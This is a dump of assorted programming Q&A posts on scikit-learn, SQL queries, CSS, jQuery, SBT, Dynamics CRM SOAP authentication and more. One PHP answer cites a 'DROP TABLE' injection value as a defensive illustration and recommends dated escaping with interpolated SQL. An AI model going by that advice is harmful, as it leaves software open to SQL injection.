in dispatch_one_batch(self, iterator) 656 return False 657 else: --&gt; 658 self._dispatch(tasks) 659 return True 660 /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in _dispatch(self, batch) 564 565 if self._pool is None: --&gt; 566 job = ImmediateComputeBatch(batch) 567 self._jobs.append(job) 568 self.n_dispatched_batches += 1 /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in __init__(self, batch) 178 # Don't delay the application, to avoid keeping the input 179 # arguments in memory --&gt; 180 self.results = batch() 181 182 def get(self): /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in __call__(self) 70 71 def __call__(self): ---&gt; 72 return [func(*args, **kwargs) for func, args, kwargs in self.items] 73 74 def __len__(self): /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in &lt;listcomp&gt;(.0) 70 71 def __call__(self): ---&gt; 72 return [func(*args, **kwargs) for func, args, kwargs in self.items] 73 74 def __len__(self): /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/linear_model/coordinate_descent.py in _path_residuals(X, y, train, test, path, path_params, alphas, l1_ratio, X_order, dtype) 931 avoid memory copies 932 """ --&gt; 933 X_train = X[train] 934 y_train = y[train] 935 X_test = X[test] IndexError: index 60527 is out of bounds for axis 0 with size 41376 </code></pre> <p>I tried to use X_train.as_matrix() but didn't work either, giving the same error.</p> <p>Strange that I can use it manually:</p> <pre><code>cv_split = cv.ShuffleSplit(n=len(X_train), test_size=0.2) for tr, te in cv_split: print(X_train.as_matrix()[tr], y_train.as_matrix()[tr]) [[0 0 0 ..., 0 0 1] [0 0 0 ..., 0 0 1] [0 0 0 ..., 0 0 1] ..., [0 0 0 ..., 0 0 1] [0 0 0 ..., 0 0 1] [0 0 0 ..., 0 0 1]] [2 1 1 ..., 1 4 1] [[ 0 0 0 ..., 0 0 1] [1720 0 0 ..., 0 0 1] [ 0 0 0 ..., 0 0 1] ..., [ 773 0 0 ..., 0 0 1] [ 0 0 0 ..., 0 0 1] [ 501 1 0 ..., 0 0 1]] [1 1 1 ..., 1 2 1] </code></pre> <p>What am I not seeing here? Am I doing something wrong or is that a scikit bug?</p> <hr> <p><strong>Update 1</strong></p> <p>Just found out that cv parameter is not a cv.ShuffleSplit object. This is counterintuitive for me, since <a href="http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LassoCV.html#sklearn-linear-model-lassocv" rel="nofollow noreferrer">the docs says</a></p> <p><a href="https://i.stack.imgur.com/nHLXC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/nHLXC.png" alt="enter image description here"></a></p> <p>Aren't cross_validation classes "object to be used as a cross-validation generator"?</p> <p>Thanks!</p>
10610652	0	 <p><a href="https://docs.google.com/viewer?url=http://www.google.com/events/io/2011/static/presofiles/dgalpin_android_pirates_and_vampires.pdf" rel="nofollow">The Presentation Notes</a> from <em>Evading Pirates and Stopping Vampires</em></p> <p><strong>Some basic keypoints</strong></p> <ul> <li><a href="https://docs.google.com/viewer?url=http://www.google.com/events/io/2011/static/presofiles/dgalpin_android_pirates_and_vampires.pdf#%3ar.page.15" rel="nofollow">Modify the LVL</a></li> <li>Implement <a href="https://docs.google.com/viewer?url=http://www.google.com/events/io/2011/static/presofiles/dgalpin_android_pirates_and_vampires.pdf#%3ar.page.21" rel="nofollow">LVL Tamper Resistance</a></li> <li>Use <a href="https://docs.google.com/viewer?url=http://www.google.com/events/io/2011/static/presofiles/dgalpin_android_pirates_and_vampires.pdf#%3ar.page.30" rel="nofollow">obfuscation</a></li> <li>Add <a href="https://docs.google.com/viewer?url=http://www.google.com/events/io/2011/static/presofiles/dgalpin_android_pirates_and_vampires.pdf#%3ar.page.25" rel="nofollow">reflection</a> </li> </ul> <p>Please note, the <code>#:r.page.X</code> at the end of the links I've provided will not always bring you to that specific slide page number for whatever reason. If it doesn't, take note and browse manually.</p>
18946812	0	 <p>i would like to see the retrieveContent method's code if it's possible and if you are trying to read a url's html content directly then there is a nice example here <a href="http://docs.oracle.com/javase/tutorial/networking/urls/readingURL.html" rel="nofollow">http://docs.oracle.com/javase/tutorial/networking/urls/readingURL.html</a></p>
12872862	0	 <p>what happens if you change it to: </p> <pre><code>select info1, info2, info3, id from profile_info where id = new.id into @i1, @i2, @i3, @id; If @id is null THEN insert into profile_info (id) values (new.id); ELSE set new.info1 = @i1; set new.info2 = @i2; set new.info3 = @i3; END IF; </code></pre>
15351745	0	 <p>Use <code>mouseenter</code> and <code>mouseleave</code>. The problem is that <code>mouseoever</code>/<code>mouseout</code> get triggered when you move between child elements, which you don't want.</p> <p><a href="http://jsfiddle.net/ExplosionPIlls/qNBEJ/3/" rel="nofollow">http://jsfiddle.net/ExplosionPIlls/qNBEJ/3/</a></p>
8482144	0	 <p>Like the other answers above, i agree that this is just asking for an injection attack (and probably other types). Some things that you can do to prevent that and enhance security in other ways could be the following:</p> <p>1 Look for something suspicious with your response handler. Lack of a query variable in the post, for instance, doesn't make sense, so it should just kill the process.</p> <pre><code>@$_POST["query"] or die('Restricted access'); </code></pre> <p>2 Use preg_match to sanatize specific fields.</p> <pre><code>if (!preg_match("/^[a-zA-Z0-9]+$/", $_POST[query])){ die('Restricted access'); } </code></pre> <p>3 Use more fields, even if they are semi-meaningless and hidden, to add more reasons to kill the process through their absence, or lack of a certain text pattern (optional).</p> <p>4 You shouldn't send a complete query through the POST at all. Just the elements that are necessary as input from the user. This will let you build the query in PHP and have more control of what actually makes it to the final query. Also the user doesn't need to know your table names</p> <p>5 Use mysql_real_escape_string on the posted data to turn command characters into literal characters before entering data into a db. This way someone would have a last name of DROP TABLE whatever, instead of actually dropping table whatever.</p> <pre><code>$firstname = mysql_real_escape_string($_POST[fname]); $lastname = mysql_real_escape_string($_POST[lname]); $email = mysql_real_escape_string($_POST[email]); $sql="INSERT INTO someTable (firstname, lastname, email) VALUES('$firstname','$lastname','$email')"; </code></pre> <p>6 Last, but not least, be creative, and find more reasons to kill your application, while at the same time giving the same die message on every die statement (once debugging is done). This way if someone is hacking you, you don't give them any feedback that they are getting through some of your obstacles.</p> <p>There's always room for more security, but this should help a little.</p>
5637266	0	 <p>I've found a couple of Java crawlers that are supposed to be pretty close to Mercator:</p> <ul> <li><a href="http://nutch.apache.org/" rel="nofollow">Nutch</a> is multithreaded and distributed.</li> <li><a href="http://crawler.archive.org/index.html" rel="nofollow">Heritrix</a> is only multithreaded.</li> </ul> <p>Other references are welcome.</p>
19266185	0	 <p>This involves some guesswork - does <code>admin</code> relate just to <code>quant1</code>? and <code>admin_custom</code> to just <code>quant1_cust</code>? Then this should reduce the effort required for a distinct list of those 2 fields:</p> <pre><code>SELECT `Fund_ID`, `Fund_Name` FROM `admin` INNER JOIN `quant1` ON `admin`.`Fund_ID` = `quant1`.`Fund_ID` AND `quant1`.`VaR 95`&gt;-0.028 UNION SELECT `Fund_ID`, `Fund_Name` FROM `admin_custom` INNER JOIN `quant1_cust` ON `admin_custom`.`Fund_ID` = `quant1_cust`.`Fund_ID` AND `admin_custom`.`user_id` = `quant1_cust`.`user_id` AND `quant1_cust`.`VaR 95`&gt;-0.028 WHERE `admin_custom`.`user_id`=361 ; </code></pre> <p>Looking at your existing query structure there are several things I would suggest you do not do. There is no point in using UNION and SELECT DISTINCT. Don't use select * with UNION or UNION ALL - be specific and only involve the fields you really need. And your existing where clause does suppress any nulls returned by a left join - so don't use left join.</p> <pre><code>SELECT DISTINCT --&lt;&lt; effort for distinctiveness here ... FROM ( SELECT * --&lt;&lt; too many fields ... UNION --&lt;&lt; effort for distinctiveness here SELECT * --&lt;&lt; too many fields ... ) LEFT JOIN ( SELECT * --&lt;&lt; too many fields ... UNION --&lt;&lt; effort for distinctiveness here SELECT * --&lt;&lt; too many fields ... ) quant1 WHERE quant1 ... </code></pre> <p>edit: an alternate - sorry, it might be easier to follow this way:</p> <pre><code>SELECT `Fund_ID`, `Fund_Name` FROM `admin` INNER JOIN `quant1` ON `admin`.`Fund_ID` = `quant1`.`Fund_ID` WHERE `quant1`.`VaR 95`&gt;-0.028 UNION SELECT `Fund_ID`, `Fund_Name` FROM `admin_custom` INNER JOIN `quant1_cust` ON `admin_custom`.`Fund_ID` = `quant1_cust`.`Fund_ID` AND `admin_custom`.`user_id` = `quant1_cust`.`user_id` WHERE `admin_custom`.`user_id`=361 AND `quant1_cust`.`VaR 95`&gt;-0.028 ; </code></pre>
2628350	0	 <pre><code> deleted=`mysql mydb -e "delete from mytable where insertedtime &lt; '2010-04-01 00:00:00'"|tail -n 1` int icount = mysql_CountRow(deleted); </code></pre> <p>it works for me try this.</p>
33168568	0	Prevent element width from shrinking <p>I have a tooltip with some text, and in order to control the tooltip's position relative to the cursor with CSS, I placed it inside a zero-sized div. Javascript moves the outer div, and the tooltip can be aligned via any of the top/right/left/bottom attributes, depending on which side it should be placed on.</p> <p>However, this creates a new problem - the tooltip contents now tries to use as little width as possible. I can't disable wordwrap because it needs to fit on mobile screens. Without the outer container, it works perfectly, stretching up to the window edge. Is there a way to ignore the outer container while calculating the line breaks?</p> <p>From what I can tell, the tooltip no longer 'sees' the body element so it can't know how much it can stretch. However, controlling the tooltip position directly via Javascript is more complicated if I need to align the bottom or right sides - I have to either consider tooltip size (which can change depending on its position), or set bottom/right properties and consider window size.</p> <p>Here's an example: <a href="http://jsfiddle.net/03gdomLt/1/" rel="nofollow">http://jsfiddle.net/03gdomLt/1/</a><br> The first tooltip works correctly, while the second one tries to shrink to zero width.</p> <pre><code>.tip-outer { position: absolute; top: 200px; left: 100px; } .tooltip { position: absolute; left: 10px; top: 10px; border: 1px solid black; } &lt;div class="tip-outer"&gt; &lt;div class="tooltip"&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis pharetra feugiat augue, non pretium massa ultricies vel. In hendrerit tellus. &lt;/div&gt; &lt;/div&gt; &lt;div class="tooltip"&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis pharetra feugiat augue, non pretium massa ultricies vel. In hendrerit tellus. &lt;/div&gt; </code></pre>
13152679	0	 <p>Scripting may be your best choice. </p>
14499413	0	 <p>You can use like </p> <pre><code>CREATE OR replace PROCEDURE Test_procedure IS date CHAR(10); BEGIN SELECT To_char(SYSDATE, 'MM/DD/YYYY') INTO date FROM dual; dbms_output.Put_line(date); END; </code></pre> <p>it will return date into char format.</p> <p>If you want to get date into date format just declare the date type variable then assign the sysdate value INTO that variable.Then use DBMS_OUTPUT.PUT_LINE(variable) to print the DATE.</p>
6038296	0	 <p>If there's an outside chance that the order of <code>[i]</code> is not in a predictable order, or possibly has gaps, but you need to use it as a key:</p> <pre><code>public class Thing { int SubjectID { get; set; } int VarNumber { get; set; } string VarName { get; set; } string Title { get; set; } } Dictionary&lt;int, Thing&gt; things = new Dictionary&lt;int, Thing&gt;(); dict.Add(i, thing); </code></pre> <p>Then to find a <code>Thing</code>:</p> <pre><code>var myThing = things[i]; </code></pre>
36747651	0	 <p>actually JPA2 is specification and Hibernate is implementation of this specification. </p> <p>None of them provides cache implementation, except session cache (your entities within single transaction/session interaction) </p> <p>If you plan to add possibility to replace hibernate, then use pure JPA2 annotations and configurations. </p> <p>Hibernate's annotation @Cache provides a bit more fine grained control on how entities are stored in cache, JPA's @Cacheable provides only possibility either to include in cache or not (all the control of storage in cache is defined in the general JPA configuration and caching implementation). </p>
21287685	0	 <blockquote> <p>Is node traversal far better (in a multilevel datetime index) in term of performance than dealing with indexed properties for dates in this case?</p> </blockquote> <p>No, indexed properties for dates is more performant than traversals for this type of data structure.</p> <p>Here is detailed example of using a hybrid approach. Consider the following subgraph, where the elipses indicate a continuing pattern in the graph.</p> <p><img src="https://i.stack.imgur.com/896SD.png" alt="Multilevel Calendar Index"></p> <p>Please take a look at <a href="https://gist.github.com/kbastani/8519557" rel="nofollow noreferrer">https://gist.github.com/kbastani/8519557</a> for the full calendar Cypher scripts that get or create (merge) a multilevel datetime index. This data structure allows you to traverse from one date to another date to get a range of events for a time series. A combination of both indexed property matching and traversals is the best approach, and is performant when modeled correctly.</p> <p><img src="https://i.stack.imgur.com/Pc1iB.png" alt="Example Data Model for Time"></p> <p>For example, consider the following Cypher query:</p> <pre><code>// What staff have been on the floor for 80 minutes or more on a specific day? WITH { day: 18, month: 1, year: 2014 } as dayMap // The dayMap field acts as a parameter for this script MATCH (day:Day { day: dayMap.day, month: dayMap.month, year: dayMap.year }), (day)-[:FIRST|NEXT*]-&gt;(hours:Hour), (hours)&lt;-[:BEGINS]-(shift:Event), (shift)&lt;-[:WORKED]-(employee:Employee) WITH shift, employee ORDER BY shift.timestamp DESC WITH employee, head(collect(shift)) as shift MATCH (shift)&lt;-[:CONTINUE*]-(shifts) WITH employee.firstname as first_name, employee.lastname as last_name, SUM(shift.interval) as time_on_floor // Only return results for staff on the floor more than 80 minutes WHERE time_on_floor &gt;= 80 RETURN first_name, last_name, time_on_floor </code></pre> <p>In this query we are asking the database "What staff have been on the floor for 80 continuous minutes or more on a specific day?" where shifts are broken up into 20 minute continuous intervals pointing to the next one in the series as CONTINUE or BREAK. </p> <p>First you start with matching the day using the indexed properties. Then you scan the day's hours for connected events by traversing the datetime multilevel index. Then reverse the order of the events to get the most recent event in the series. Then traverse until a "BREAK" relationship is encountered. Finally, apply the condition of time_on_floor being greater or equal to 80 minutes.</p>
9846677	0	print json data <p>This is jquery (ajax) -> php response</p> <pre><code> {"errorInfo":["23000",1062,"Duplicate entry 'blahblah' for key 'sn'"]} </code></pre> <p>how to print out, with jquery, only "Duplicate entry 'blahblah' for key 'sn'"</p> <pre><code> success: function (html) { $("#notification").fadeIn("slow") .text(html); //Duplicate entry 'blahblah' for key 'sn'? html-&gt;errorInfo[2]? } </code></pre> <p>thank you </p> <p>UPDATE:</p> <p>It's Standard PDO Error function</p> <pre><code> catch(PDOException $e) { print json_encode($e); } </code></pre> <p>that print out like this: </p> <pre><code> {"errorInfo":["23000",1062,"Duplicate entry 'SDAAASSASADASADASDAS' for key 'sn'"]} </code></pre> <p>UPDATE:</p> <p>I change it on other side, on source, I use </p> <pre><code> print json_encode($e-&gt;errorInfo[2]); instead of print json_encode($e) </code></pre>
11675622	0	Split String into Array with No Delimiter <p>I have a string like <code>s = "abcdefgh"</code>. I want to split it by number of characters like:</p> <pre><code>a(0)="ab" a(1)="cd" a(2)="ef" a(3)="gh" </code></pre> <p>Can someone tell me how to do this?</p>
39419865	0	 <p>Build a string up, and then print it out:</p> <pre><code>std::stringstream value; for (int i=0;i&lt;N;i++) { value &lt;&lt; covariance[0][i]; if (i + 1 &lt; N) { value &lt;&lt; ","; } } YAML::Emitter out; out &lt;&lt; YAML::BeginMap; out &lt;&lt; YAML::Key &lt;&lt; "covariance" &lt;&lt; YAML::Value &lt;&lt; value.str(); out &lt;&lt; YAML::EndMap; </code></pre> <p>The point is that the value you're printing isn't a YAML list, it's just a plain string that happens to look a little bit like YAML. So you can't use yaml-cpp to format it for you; you need to do that yourself.</p>
31707505	0	 <p>Check your <code>php.ini</code> file for <code>date.timezone</code> and make sure its set to </p> <p><code>date.timezone = "Europe/Moscow"</code></p>
17410137	0	 <p>Well, as far as I can understand, you want to join the two tables. This is done like this:</p> <pre><code>SELECT distinct it.id, idesc.title FROM item it JOIN item_description idesc ON it.id=idesc.item_id; </code></pre> <p>Of course, you need a column in your <code>item_description</code> table that corresponds to your <code>id</code> column in the <code>item</code> table.</p>
23418867	0	SBT ScalaTest dependency resolving <p>In <strong>build.sbt</strong>. </p> <pre><code>resolvers += "Repo1" at "http://oss.sonatype.org/content/repositories/releases" resolvers += "Repo2" at "http://repo1.maven.org/maven2" libraryDependencies ++= Seq( "org.specs2" %% "specs2" % "2.3.11" % "test", "org.scalatest" %% "scalatest_2.11" % "2.1.5" % "test" ) scalacOptions in Test ++= Seq("-Yrangepos") // Read here for optional dependencies: // http://etorreborre.github.io/specs2/guide/org.specs2.guide.Runners.html#Dependencies resolvers ++= Seq("snapshots", "releases").map(Resolver.sonatypeRepo) </code></pre> <p>Symptoms:</p> <ul> <li><code>Specs2</code> is resolvable, <strong><a href="http://www.scalatest.org/download" rel="nofollow">scalatest</a> is not</strong></li> </ul> <blockquote> <p>org.scalatest#scalatest_2.11_2.10;2.1.5: not found</p> </blockquote> <ul> <li>With <code>Maven</code>, using the same repositories - everything works perfectly.</li> </ul> <p>Question:</p> <ul> <li>What's wrong with <code>sbt</code>, why does it complain all the time?</li> </ul>
25595348	0	SonarQube +Unit Test coverage +Java Project <p>I am invoking SonarQube analysis from Jenkins and able to get the Unit Test Success Percentage but not able to see the Unit Tests coverage??? Can anyone please help in getting this in Sonar dashboard?What parameter should I add while invoking from Jenkins?Please let know for both Windows and Linux machines?</p> <p>This is a huge blocker for my project.Please help.Sonar version is 4.4.</p>
14788166	0	 <p>It depends on what kind of a website it is, but if the changes made to the DOM are meant to be permanent, and changes are only permitted to be made by registered users, I would maybe write the HTML snippet to a file, and keep track of the changes in the database. And then render the HTML snippet every time the page is requested.</p>
40890833	0	 <p>In my case, after setting the limit @ <strong>node.js</strong> (webapp) <code> var express = require('express'); var app = express(); var bodyParser = require('body-parser'); app.use(bodyParser.json({limit:'50mb'})); app.use(bodyParser.urlencoded({extended:true, limit:'50mb'})); </code></p> <p>I also <strong>(most important)</strong> had to set up the limit @ <strong>nginx</strong> (webapp reverse proxy) <code> # Max upload size. client_max_body_size 50M; </code></p>
32666575	0	 <p>You should convert your cert and you can use openssl to achieve the conversion that you are wanting. </p> <p>For instance:</p> <pre><code>openssl pkcs12 -export -out cert.pfx -inkey cert.key -in cert.crt </code></pre>
35895541	0	CRM Online 2015 Authentication Raw Soap <p>Hi and thanks for taking this time to look,</p> <p>I've recently been asked to investigate integration using CRM Online 2015, I've come across some issues trying to Authenticate using Raw SOAP requests.</p> <p>While I know there's other ways to authenticate, predominantly the using the CRM SDK, my iron will is pushing me to find a solution using Raw SOAP.</p> <p>I came across a very helpful blog by Jason Lattimer: <a href="http://jlattimer.blogspot.co.uk/2015/02/soap-only-authentication-using-c.html" rel="nofollow">http://jlattimer.blogspot.co.uk/2015/02/soap-only-authentication-using-c.html</a></p> <p>Following this sample, I successfully authenticated with a Trial CRM account using RAW SOAP... Great... Done... I was wrong.</p> <p>As soon as I pointed this sample at the CRM development environment I got a SOAP error:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust" xmlns:psf="http://schemas.microsoft.com/Passport/SoapServices/SOAPFault"&gt; &lt;S:Body&gt; &lt;S:Fault&gt; &lt;S:Code&gt; &lt;S:Value&gt;S:Sender&lt;/S:Value&gt; &lt;S:Subcode&gt; &lt;S:Value&gt;wst:FailedAuthentication&lt;/S:Value&gt; &lt;/S:Subcode&gt; &lt;/S:Code&gt; &lt;S:Reason&gt; &lt;S:Text xml:lang="en-US"&gt;Authentication Failure&lt;/S:Text&gt; &lt;/S:Reason&gt; &lt;S:Detail&gt; &lt;psf:error&gt; &lt;psf:value&gt;0x80048821&lt;/psf:value&gt; &lt;psf:internalerror&gt; &lt;psf:code&gt;0x80047860&lt;/psf:code&gt; &lt;psf:text&gt;Direct login to WLID is not allowed for this federated namespace&lt;/psf:text&gt; &lt;/psf:internalerror&gt; &lt;/psf:error&gt; &lt;/S:Detail&gt; &lt;/S:Fault&gt; &lt;/S:Body&gt; &lt;/S:Envelope&gt; </code></pre> <p>The only difference I can think between the Trial version which worked and the development environment is that the development environment setup uses ADFS / AD On-Premises.</p> <p>Fiddler logs show that Jason's Sample goes straight to login.microsoftonline.com whereas CRM SDK (which works) goes to dynamicscrmemea.accesscontrol.windows.net.</p> <p>So I believe this is the problem area!</p> <p>I've been around in circles on stack overflow/other sources, I have a feeling it will a relatively small change required to the SOAP request but I've reached the point where I need some fresh eyes/advice.</p> <p>Has anyone had experience with this setup? Can anyone gently push me in the right direction?</p> <p>Many Thanks</p> <p>Gareth</p>
5500341	0	 <p>Generally, function like macro can be used to prevent unintentional macro expansion.<br> For example, assuming that we have the following macro call:</p> <pre><code>BOOST_PP_CAT( BOOST_PP_ITERATION, _DEPTH ) </code></pre> <p>and we expect this will be expanded into <code>BOOST_PP_ITERATION_DEPTH</code>.<br> However, if <code>BOOST_PP_ITERATION</code> is an object like(non-functional) macro, it will be expanded to its own definition before the token <code>BOOST_PP_ITERATION_DEPTH</code> is generated by concatenation.</p>
1557451	0	 <p>If you're changing the data directed by the iterator, you're changing the list.</p> <blockquote> <p>The idea that I'm trying to express here, of course, is that the passed in list cannot/willnot be changed, but once I make the list reference const I then have to use 'cons_iterator's which then prevent me from doing anything with the result.</p> </blockquote> <p>What is "dong anything"? Modifying the data? That's changing the list, which is contradictory to your original intentions. If a list is const, it (and "it" includes its data) is constant.</p> <p>If your function were to return a non-const iterator, it would create a way of modifying the list, hence the list wouldn't be const.</p>
3660512	0	 <p>Cross-platform generally refers to a technology which can be used for multiple operating systems. For example, Mono is an open-source implementation of the Common Language Runtime (CLR), which are the underlying libraries required by .NET.</p> <p>Mono runs on Linux, BSD, Unix, Mac OS X, Solaris and Windows. Mono itself is not an IDE, but several cross-platform IDEs exist as well. The most popular is <a href="http://monodevelop.com/" rel="nofollow noreferrer">MonoDevelop</a>.</p> <p>Several languages are built on top of the .NET framework such as C# and VB.NET. C# is the most popular for cross-platform development.</p>
16286526	0	Magento Checkout Conversion Back to Base Currency not Working <p>After installing a magento connect theme I am having an issue on checkout whereby; whichever total is being displayed in a converted currency (not base), is not being converted back into base on final checkout/place order. Any ideas where the code is that handles this final conversion? I have contacted the extension vendor though am awaiting a reply. Thank you</p> <pre><code>Subtotal Rs6,723.03 Processing Fee Rs672.30 Grand Total Rs7,395.34 Your credit card will be charged for £7,395.34 </code></pre> <p>Screenshot here (less than 10 rep so can't embed! only posted once before which resulted in a triumph!)</p> <p><img src="https://i.stack.imgur.com/9ccO7.png" alt=""></p> <p>EDIT -----</p> <p>Hi thanks for the suggestion, however the currency rates are set and the correct values for each are confirmed. When using a default magento install (sample data) the problem is not occurring, which means it’s isolated to the extension I’m using.</p> <p>I have had a dig about in the theme files and have isolated the currency functions to be occurring in the the files found in the following path (theme files)</p> <p>app\code\local\ <em>extension vendor</em> \ <em>extension name</em></p> <p>Within this folder there are various files which may be pertaining to currency inluding:</p> <p>CartController.php</p> <p>Order.php</p> <p>Price.php</p> <p>Total.php</p> <p>I am almost certain that it’s going to be a line of code within one of these files, or those within the specified folder that’s causing the issue. I am hoping someone is able to tell me where this final conversion is happening and in what file. There are equivalents of these files in the core magento folder and having this theme installed tells the website to use the third-party variants of the core/default magento file. If someone knows which file it is, I can post the code for that file to have a look at or perhaps if I knew which file I could debug myself.</p> <p>Thanks again!</p>
22524237	0	 <p>You dont need to pass class selector <code>.</code> in <code>removeClass()</code>.so use:</p> <pre><code>$(this).removeClass('colspan') </code></pre> <p>to remove both classes <code>colspan</code> and <code>create</code>,use:</p> <pre><code>$(this).removeClass('colspan create') </code></pre>
17316311	0	Get Checked RadioButtons using JavaScript <p>so I’m trying to build a win 8 app, which includes a WebView. The WebView contains the HTML code (+JavaScript) below.</p> <pre><code>&lt;!DOCTYPE HTML PUBLIC " -//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;?xml version='1.0' encoding='UTF-8' standalone='yes'?&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv='Content-Type' content='text/html; charset=utf-8' &gt; &lt;script type='text/javascript'&gt; function get_radio_value() { for (var i=0; i &lt; document.myForm.frage1.length; i++) { if (document.orderform.frage1[i].checked) { var rad_val = document.myForm.frage1[i].value; return rad_val; } } } &lt;/script&gt; &lt;title&gt;Kundenfragebogen&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Kundenfragebogen&lt;/h1&gt; &lt;div id='myDiv'&gt;Hello&lt;/div&gt; &lt;form name='myForm' action=''&gt; &lt;table border='2'&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;sehr gut&lt;/td&gt; &lt;td&gt;gut&lt;/td&gt; &lt;td&gt;schlecht&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Wie geht es Ihnen?&lt;/td&gt; &lt;td&gt;&lt;input type='radio' name="frage1" value='1'/&gt;Mir ging es noch nie besser!&lt;/td&gt; &lt;td&gt;&lt;input type='radio' name="frage1" value='2'/&gt;Es geht mir so wie immer.&lt;/td&gt; &lt;td&gt;&lt;input type='radio' name="frage1" value='3'/&gt;Heute geht einfach gar nichts…&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Können Sie Auto fahren?&lt;/td&gt; &lt;td&gt;&lt;input type='radio' name="frage2" value='1'/&gt;Ja&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;input type='radio' name="frage2" value='3'/&gt;Nein&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Möchten Sie unseren Newsletter abonnieren?&lt;/td&gt; &lt;td&gt;&lt;input type='radio' name="frage3" value='1'/&gt;Ja&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;input type='button' value='Formular absenden' onclick="return get_radio_value()"/&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>So the html contains some radio buttons and a button. I’ve used JavaScript ~2 years ago (just a little), so I don’t really know how to write the exact code. I’ve found something on the internet, but it doesn’t do what I want. I want to have the following:</p> <p>The user can check the RadioButtons. When the user clicks the Button, the JavaScript function should return all the checked radio buttons (I only need to know which RadioButton is checked). Since I know the name of the RadioButtons in my Windows 8 App, I can do the following:</p> <pre><code>var object = WebView.InvokeScript("JavaScriptFunctionNAME", NameOfRadiobutton); </code></pre> <p>So the WebView invokes the script and should get as a return the VALUE of the RadioButton, which is checked. </p> <p>“JavaScriptFunctionNAME” = name of the function in Javascript</p> <p>NameOfRadiobutton = the name of the RadioButton as a parameter (for example “frage1”).</p> <p>Currently I’m returning the value of the radiobutton, which is checked in the RadioGroup “frage1”. How can I check every RadioButton by it’s parameter? By this I mean I have a parameter “frage1” and return the value of the checked RadioButton. After this, I call the function again with the parameter “frage2” and return the checked RadioButtons value. Could anyone help me out with the JavaScript-function?</p>
3141079	0	 <p>Short answer: NO</p> <p>Longer answer: This should show some means to get at the intervals but it does not</p> <pre><code>&lt;div id="msg"&gt;&lt;/div&gt; &lt;script&gt; function test() { document.getElementById('msg').innerHTML=x+':'+new Date(); cnt++; if (cnt==3) { alert('hey'); clearAll(); } } var x = setInterval(test,1000) var y = setInterval(test,2000) var cnt = 0; var win = window; for (var obj in window) { if (obj==x) alert('found!') document.write('&lt;hr&gt;'+obj+':'+typeof obj) } alert(window.x+'-'+window.y) function clearAll() { clearInterval(); // does not work } &lt;/script&gt; </code></pre>
13199923	0	A reflection after a Java interview： Inheritance and polymorphism <p>The following code:</p> <pre><code>class Base{} class Agg extends Base{ public String getFields(){ String name="Agg"; return name; } } public class Avf{ public static void main(String args[]){ Base a=new Agg(); //please take a look here System.out.println(((Agg)a).getFields()); // why a needs cast to Agg? } } </code></pre> <p>My question is: why we can't replace <code>((Agg)a).getFields()</code> to <code>a.getFields()</code>? Why we need to type cast on <code>a</code>？ And I mention that <code>getFields()</code> is not defined in class <code>Base</code>, thus class <code>Agg</code> does not extend this method from its base class. But if I defined method <code>getFields()</code> in class <code>Base</code>, like:</p> <pre><code>class Base{ public String getFields(){ String name="This is from base getFields()"; return name; } } </code></pre> <p>everything would be all right. Then <strong>((Agg)a).getFields() is equivalent to a.getFields()</strong></p> <p>In the code </p> <pre><code>Base a=new Agg(); </code></pre> <p>Does this line means <code>a</code> has the reference of <code>Agg()</code> and a can invoke directly the method of class <code>Agg</code>. But why is there difference if I do not define the method <code>getFields()</code> in class <code>Base</code>? Can any one explain this to me? </p>
25675646	0	 <p>The Linq way:</p> <pre><code>var lastname = "Abumademal"; var formatted = (new string(lastname.Take(8).ToArray())).PadRight(lastname.Length, '*'); // will yield "Abumadem**" </code></pre> <p>"Take 8 chars and create a new string from this array, then pad it with as many * as needed."</p> <p>full implementation:</p> <pre><code>private string lastname; public string LastName { get { if (null == this.lastname) { return null; } char[] firsteight = this.lastname.Take(8).ToArray(); string tmp = new string(firsteight); // padding this way wasn't the actual requirement ... string result = tmp.PadRight(this.lastname.Length, '*'); return result; } set { this.lastname = value; } } </code></pre>
3014238	0	How to prepend a JS event handler in Prototype? <p>I would like to add an event listener/handler to be prepended before an existing event handler in Prototype. Here is the example:</p> <pre><code>&lt;form ... onsubmit="alert('foo')" id="f1"&gt; $('f1').observe("submit", function() { alert('do this before foo'); }); &lt;/form&gt; </code></pre>
